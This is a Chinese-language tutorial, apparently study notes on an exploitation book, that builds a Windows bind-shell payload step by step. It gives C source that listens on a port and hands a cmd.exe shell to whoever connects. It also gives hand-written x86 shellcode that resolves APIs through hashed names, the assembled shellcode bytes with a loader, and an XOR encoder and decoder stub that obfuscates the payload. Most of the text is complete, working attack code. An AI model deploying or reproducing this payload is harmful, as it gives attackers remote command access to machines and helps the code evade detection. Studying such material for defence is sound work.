shellcode中变形bindshell的实现
最近学习《0day安全》一书 记录一下调试编码过程
书中环境XP VC6 本机的环境是server 2008 r2 x64 编译环境是vs2013
第一步：
首先是写一个win c版本的bindshell 代码如下：
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
void main()
{
//1.初始化一个socket服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
SOCKET stListen = INVALID_ATOM;
//2.创建一个原始套接字
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stService;
stService.sin_addr.s_addr = INADDR_ANY;
//3.在任意地址上绑定一个端口
stService.sin_port = htons(1414);
stService.sin_family = AF_INET;
bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
//4.监听连接
listen(stListen, SOMAXCONN);
//5.接受一个连接
stListen = accept(stListen, 0, 0);
//6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上
PROCESS_INFORMATION stPI = { 0 };
STARTUPINFOA stSI = { 0 };
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
//7.关闭相关句柄并释放相关资源
CloseHandle(stPI.hProcess);
CloseHandle(stPI.hThread);
closesocket(stListen);
WSACleanup();
return;
}一来可以看看怎么实现 需要用到哪些API 二来可以 后边与shellcode做的效果对比
需要用到的ws2_32中的API有 WSAStartup WSASocketA bind listen accept
再加上shellcode框架所需的kernel32.dll中的API有 LoadLibraryA CreateProcessA ExitProcess 一共8个函数
第二步：
取得这些函数名的hash摘要 用于后边寻找上边8个函数地址 具体方法原理 参考
shellcode中动态定位API（https://blog.****.net/whatday/article/details/82827461）
这里值得注意的是 为了减少shellcode的代码量 把每个函数名的hash结果规定为一个字节
一个字节最大有256个数 最多能分辨256个API 书中环境的kernel32.dll API数量900多个
虽会出现hash碰撞 但能找到合理的key 算出函数名称的hash 在shellcode中定位API时 第一个出现所需函数 从而得到函数地址
本机测试系统kernel32.dll中有1500多个 遍历0~0xff都无法找到一个key 让上边8个函数同时满足
所以修改为kernel32.dll为一个key ws2_32.dll为一个key 分别算出函数名对应的hash摘要 用到后边的shellcode定位中
由于手动尝试效率较低 顾写程序获得 代码如下：
#include<windows.h>
#include<stdio.h>
//得到API字符串的单字节hash摘要
unsigned char GetHash(char * fun_name, unsigned char cXor)
{
unsigned char cValue;
__asm
{
pushad
pushfd
mov esi,fun_name
cdq
hash_loop:
lodsb
xor al, cXor
sub dl, al
cmp al, cXor
jne hash_loop
mov cValue, dl
popfd
popad
}
return cValue;
}
void main()
{
char listDllApi[][10][20] = {
{ "kernel32.dll", "LoadLibraryA", "CreateProcessA", "ExitProcess" },
{ "ws2_32.dll", "WSAStartup", "WSASocketA", "bind", "listen", "accept" }
};
unsigned char cHash;
ULONG ulDllBase = NULL, ulAddr=0, nCount=0;
PCHAR pFunctionName = NULL;
BOOL bFind=TRUE;
for (int n = 0; n < _countof(listDllApi) ; n++)
{
for (int i = 0; i < 0xff; i++)
{
bFind = TRUE;
for (int m = 0; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
{
if (m == 0)
{
ulDllBase = (ULONG)LoadLibraryA(listDllApi[n][m]);
continue;
}
cHash = GetHash(listDllApi[n][m], i);
ulAddr = *(PULONG)(ulDllBase + 0x3c);
ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x78);
nCount = *(PULONG)(ulDllBase + ulAddr + 0x14);
ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x20);
for (int x = 0; x < nCount; x++)
{
pFunctionName = (PCHAR)(*(PULONG)(ulDllBase + ulAddr + 4 * x) + ulDllBase);
if (GetHash(pFunctionName, i) == cHash)
{
break;
}
}
if (strcmp(pFunctionName, listDllApi[n][m]) != 0)
{
bFind = FALSE;
break;
}
}
if (bFind)
{
printf("\n%s find xor unsigned char : 0x%x\n", listDllApi[n][0], i);
for (int m = 1; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
{
printf("%s hash key is:0x%x\n", listDllApi[n][m], GetHash(listDllApi[n][m], i));
}
}
}
}
getchar();
}运行效果如下：
寻找到结果还有很多 这只是一部分 然后把8个api的值放入od中 看看汇编代码是什么 这里用到的思想是 代码是数据 数据是代码
这些值放在shellcode的最前边 用于后边定位API的hash比较的 执行他们不需要什么功能 只要不发生错误 不改变程序流程就行
经测试kernel32.dll使用0x39 对应API的hash摘要 LoadLibraryA:0x81 CreateProcessA:0xd9 ExitProcess:0x19
ws2_32.dll使用0x6e 对应API的hash摘要 WSAStartup:0x18 WSASocketA:0x49 bind:0x75 listen:0x47 accept:0x26
这几个值放入OD中效果如图：
可以看到这几条汇编指令并不影响 程序的流程 最后的0x43是后边的数据
至此基本确定了dll api的hash摘要
第三步：
编写shellcode的汇编代码 具体如下：
__asm
{
// eax points here
// function hashes (executable as nop-equivalent)
_emit 0x81 // LoadLibraryA // sbb ecx, 0x75491819
_emit 0xd9 // CreateProcessA // ...
_emit 0x19 // ExitProcess // ...
_emit 0x18 // WSAStartup // ...
_emit 0x49 // WSASocketA // ...
_emit 0x75 // bind // ...
_emit 0x47 // listen // inc edi
_emit 0x26 // accept // inc ebx
// CMd
_emit 0x43 // inc ebx
_emit 0x4d // dec ebp
_emit 0x64 // FS:
// start of proper code
cdq // set dex=0 (eax points to stack so is less than 0x80000000)
xchg eax,esi // esi = addr of first function hash
lea edi, [esi-0x18] // edi = addr of start writing function
// address (last addr will be written just before "cmd")
// find base addr of kernel32.dll
mov ebx, fs:[edx+0x30] // ebx = address of PEB
mov ecx, [ebx+0x0c] // ecx = pointer to loader data
mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
mov ecx, [ecx] // ecx = three entry in list kernel32.dll
mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
// make some stack space
mov dh,0x03 // sizeof(WSADATA) is 0x190
sub esp,edx
// push a pointer to "ws2_32" onto stack
mov dx,0x3233 // rest of edx is null
push edx
push 0x5f327377
push esp
// set hash key of kernel32.dll
mov dh, 0x39
find_lib_functions:
lodsb // load next hash into al and increment esi
cmp al, 0x18 // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
jne find_functions
xchg eax,ebp // save current hash
call[edi - 0xc] // LoadLibraryA
xchg eax,ebp // restore current hash, and update ebp
// whith base address of ws2_32.dll
push edi // save location of addr of first winsock function
// set hash key of ws2_32.dll
mov dh, 0x6e
find_functions:
pushad // preserve registers
mov eax, [ebp+0x3c] // eax = start of PE header
mov ecx, [ebp+eax+0x78] // ecx = relative offset of export table
add ecx,ebp // ecx = absolute addr of export table
mov ebx, [ecx+0x20] // ebx = relative offset of names table
add ebx,ebp // ebx = absolute addr of names table
xor edi,edi // edi will count through the functions
next_function_loop:
inc edi // increment function counter
mov esi, [ebx+edi*4] // esi = relative offset of current function name
add esi,ebp // esi = absolute addr of current function name
xor dl,dl
hash_loop:
lodsb // load next char into al and increment esi
xor al, dh // xor current char with 0x70
sub dl, al // update hash with current char
cmp al, dh // loop until we reach end of string
jne hash_loop
cmp dl, [esp + 0x1c] // compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
//we now have the right function
mov ebx, [ecx + 0x24] // ebx = relative offset of ordinals table
add ebx, ebp // ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] // di = ordinal number of matched function
mov ebx, [ecx + 0x1c] // ebx = relative offset of address table
add ebx, ebp // ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] // add to ebp (base addr of module) the relative
// offset of matched function
xchg eax, ebp // move func addr into eax
pop edi // edi is last onto stack in pushad write
stosd // functon addr to [edi] and increment edi
push edi
popad // restore registers
cmp esi, edi // loop until we reach end of last hash
jne find_lib_functions
pop esi // saved location of first winsock function
// we will lodsd and call each func in sequence
// initialize winsock
push esp // use stack for WSADATA
push 0x02 // wVersionRequested
lodsd
call eax // WSAStartup
// null-terminate "cmd"
mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked
// clear some stack to use as NULL parameters
lea ecx, [eax+0x30] // sizeof(STARTUPINFO) = 0x44
mov edi,esp
rep stosd // eax is still 0
//create socket
inc eax
push eax // type = 1 (SOCK_STREAM)
inc eax
push eax // af = 2 (AF_INET)
lodsd
call eax // WSASocketA
xchg ebp,eax // save SOCKET descriptor in ebp
// (safe from being changed by remaining API calls)
// push bind parameters
mov eax, 0x0a1aff02 // ox1a0a = port 6666, 0x02 = AF_INET
xor ah,ah // remove the ff from eax
push eax // we use 0x0a1a0002 as both the name (strucht sockaddr)
// and namelen (which only needs to be large enough)
push esp // pointer to our sockaddr struct
// call bind(), linsten() and accept() in turn
call_loop:
push ebp // save SOCKET descriptor (we implicitly pass NULL for all other params)
lodsd
call eax // call the next function
test eax,eax // bind() and listen() return 0,
// accept() returns a SOCKET descriptor
jz call_loop
// initialise a STARTUPINFO structrue at esp
inc byte ptr[esp+0x2d] // set STARTF_USERTDHANDLES to true
sub edi,0x6c // point edi at hStdInput in STARTUPINFO
stosd // use SOCKET descriptor returned by accept (still in eax)
// as the stdin handle same for stdout
stosd // same for stderr (optional)
// create process
pop eax // set eax = 0 (STARTUPINFO now at esp+4)
push esp // use stack at PROCESSINFORMATION structure
// (STARTUPINFO structrue)
push esp // STARTUPINFO structrue
push eax // lpCurrentDirectory = NULL
push eax // lpEnvironment = NULL
push eax // dwCreationFlags = NULL
push 1 // bInheritHandles = TRUE
push eax // lpThreadAttributes = NULL
push eax // lpProcessAttributes = NULL
push esi // lpCommandLine = "cmd"
push eax // lpApplicationName = NULL
call[esi-0x1c] // CreateProcessA
// call ExitProcess()
call[esi-0x18] //ExitProcess
}以上和书上不同处有几点
1.kenel32.dll和ws2_32.dll分别取了hash key 下边的各个函数分别用了2组hash key来计算hash摘要
2.PEB定位kernel32.dll基地址 当前系统是排在第三个 书上环境是排在第二个
3.CreateProcessA函数 参数 bInheritHandles = TRUE 经测试有效 如果为FALSE 无法测试通过
代码中的英文注释 和 shellcode中动态定位API（https://blog.****.net/whatday/article/details/82827461）都详解代码实现流程
第四步：
得到对应的十六进制代码 并放入shellcode加载框架
把以上代码放入vs编译后 EXE用OD打开 得到对应二进制码 在修改为VS中识别的十六进制码
具体如图:
截图只是一部分 二进制复制到editplus中 修改为vs中识别的十六进制
修改前后如图：
再使用shellcode通用加载框架 代码如下：
char sc[] =
"\x81\xD9\x19\x18\x49\x75\x47\x26\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69"
"\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xB6\x39\xAC\x3C\x18\x75\x08\x95\xFF\x57\xF4\x95\x57\xB6\x6E\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x32\xD2\xAC\x32\xC6\x2A\xD0\x3A\xC6\x75"
"\xF7\x3A\x54\x24\x1C\x75\xE9\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75"
"\xB1\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32"
"\xE4\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54\x50\x50\x50\x6A\x01\x50\x50\x56\x50"
"\xFF\x56\xE4\xFF\x56\xE8";
void main()
{
__asm
{
lea eax, sc
push eax
ret
}
}编译前需要修改VS中的编译参数 去掉VS的栈溢出检查代码 具体如下：
这样一来编译出的执行文件就没有栈检查了 shellcode通用框架也可以使用了
第五步：
此时直接运行EXE还是会出错 经调试发现是内存权限问题 栈空间默认 没有执行和写的权限
用LordPE Deluxe打开EXE 修改节区属性 修改前后如图
其实通过OD发现 栈空间其实在.data中 只需要修改.data就可以了 为了防止其他情况这里就全部修改了
Flags的E0000040 对应权限是：
修改后的EXE就可以正常运行了
测试机IP是 192.168.1.115 再测试机运行此EXE
在其他机器 telnet 192.168.1.115 6666 效果如下：
至此shellcode版本的bindshell就实现了 但为了融合前边的变形技术 继续变形shellcode
第六步：
变形的原理是xor 然后把解密头 放在变形后的代码最前边 有点类似于壳中的技术
加解密代码如下：
//原始代码
char sc[] =
"\x81\xD9\x19\x18\x49\x75\x47\x26\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69"
"\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xB6\x39\xAC\x3C\x18\x75\x08\x95\xFF\x57\xF4\x95\x57\xB6\x6E\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x32\xD2\xAC\x32\xC6\x2A\xD0\x3A\xC6\x75"
"\xF7\x3A\x54\x24\x1C\x75\xE9\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75"
"\xB1\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32"
"\xE4\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54\x50\x50\x50\x6A\x01\x50\x50\x56\x50"
"\xFF\x56\xE4\xFF\x56\xE8";
//二进制加密函数
void encoder(char * input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1);
if (!output)
{
printf("memory erro!\n");
exit(0);
}
for (int i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}
if (!(fp = fopen("encode.txt", "w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp, "\"");
for (i = 0; i < len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp, "\";");
fclose(fp);
printf("dump the encode shellcode to encode.txt OK!\n");
if (display_flag)
{
for (i = 0; i < len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
}
free(output);
}
encoder(sc, 0x41, 1);
//二进制解密函数
__asm
{
add eax, 0x14
xor ecx, ecx
decode_loop :
mov bl, [eax + ecx]
xor bl, 0x41
mov[eax + ecx], bl
inc ecx
cmp bl, 0x90
jne decode_loop
}运行加密函数得到encode.txt
把解密函数放到vs中 编译后在od中提取十六进制码 如下图
复制到editplus中修改为vs可用的十六进制码 如下图
把解密代码放到加密后的shellcode前 完整代码如下：
//带解密头的加密代码
char sc2[] =
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x41\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
"\xc0\x98\x58\x59\x08\x34\x06\x67\x02\x0c\x25\xd8\xd7\xcc\x3f\xa9"
"\x25\xca\x1b\x71\xca\x0a\x4d\xca\x08\x5d\xca\x48\xca\x48\xca\x28"
"\x49\xf7\x42\x6a\xa3\x27\xfb\x72\x73\x13\x29\x36\x32\x73\x1e\x15"
"\xf7\x78\xed\x7d\x59\x34\x49\xd4\xbe\x16\xb5\xd4\x16\xf7\x2f\x21"
"\xca\x04\x7d\xca\x0d\x44\x39\x42\x8c\xca\x18\x61\x42\x9c\x72\xbe"
"\x06\xca\x75\xfa\x42\xb4\x73\x93\xed\x73\x87\x6b\x91\x7b\x87\x34"
"\xb6\x7b\x15\x65\x5d\x34\xa8\xca\x18\x65\x42\x9c\x27\xca\x7d\x3a"
"\xca\x18\x5d\x42\x9c\x42\x6d\xfa\xd4\x1e\xea\x16\x20\x7a\xb6\x34"
"\xf0\x1f\x15\x2b\x43\xec\xbe\x91\xc9\x07\x52\xcc\x09\x71\xca\xbd"
"\xb2\xea\x01\x11\x01\x11\xec\xbe\x91\xd4\xf9\x43\xbe\x5b\x4b\x73"
"\xa5\x11\x15\x14\xec\xbe\x91\xc4\x81\x35\xb9\xbf\x05\x65\x6c\xc2"
"\xae\x2d\xea\xea\x19\x15\x15\x11\x11\x11\x2b\x40\x11\x11\x17\x11"
"\xbe\x17\xa5\xbe\x17\xa9";
void main()
{
__asm
{
lea eax, sc2
push eax
ret
}
}此时编译EXE 修改节区权限 效果如先前
这样从 API实现 到shellcode编写调试 到加密就完成了